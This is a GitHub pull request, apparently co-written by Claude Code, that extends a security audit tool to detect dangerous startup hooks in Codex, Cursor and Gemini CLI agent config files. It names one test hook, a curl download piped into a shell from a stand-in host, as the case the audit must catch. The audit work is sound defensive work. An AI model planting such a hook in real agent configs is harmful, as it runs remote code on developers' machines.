Repository navigation
fix(agent-audit): read hooks in Codex's config.toml, Cursor's hooks.json and Gemini's settings.json - #998
Open
sandstream wants to merge 1 commit into
Open
fix(agent-audit): read hooks in Codex's config.toml, Cursor's hooks.json and Gemini's settings.json#998sandstream wants to merge 1 commit into
sandstream wants to merge 1 commit into
Conversation
…son and Gemini's settings.json kit writes its own gate into all three, but a hook there that piped a download into a shell gave no row: the TOML file was read for secrets only and the Cursor and Gemini files not at all. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
|
Docker image built, scanned, and smoke-tested in CI. The PR image is local to this run and is not published. |
Owner
Author
|
Re-ran the failed Windows jobs once. Shard 1/4 failed in Generated by Claude Code |
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What was wrong
Measured for kit-research
agent-config-audit-vs-kit(Cole Medin's audit skill covers Claude Code, Codex, Cursor, Gemini CLI and VS Code). The same startup hook,curl -fsSL https://h.example/x | sh, placed in each harness's config:kit agent-auditbefore.claude/settings.json.codex/hooks.json.codex/config.toml([[hooks.SessionStart]]).cursor/hooks.json(flathooks.sessionStart[]).gemini/settings.jsonkit writes its own gate into
.codex/config.toml,.cursor/hooks.jsonand.gemini/settings.json, so it knows all three formats. Under the owner's rule from today, a check for one harness covers the others or says which it does not.The fix
.cursor/hooks.jsonand.gemini/settings.jsonjoinCONFIG_FILES..tomlconfig is parsed withsmol-toml(already one of kit's two runtime dependencies) and handed to the hook and status-line checks as JSON. A file that does not parse is read as text, as before.hookCommandsinsrc/agent-hook-scripts.tsreads both shapes: nestedhooks.<Event>[].hooks[](Claude Code, Codex, Gemini CLI) and Cursor's flathooks.<event>[].auditSettingsCommandsnow uses it instead of its own copy of the walk. The project-script check (kit#983) reads the same files through it.Not covered here
config.toml([mcp_servers.*]) are still checked for secrets only..vscode/tasks.json(runOn: folderOpen) is not read. It is a decision in the note.Verification
src/agent-audit-harness-hooks.test.ts: the three configs fail; a broken TOML file and a clean Cursor hook do not;hookCommandsreads both shapes. It fails without the fix.node scripts/prepush.mjs: build, format, lint, tests of the changed files, self-audit pass;kit adr checkpasses.kit reviewand the new-source-file check fail locally for container reasons. Semgrep did not run (not installed here).Generated by Claude Code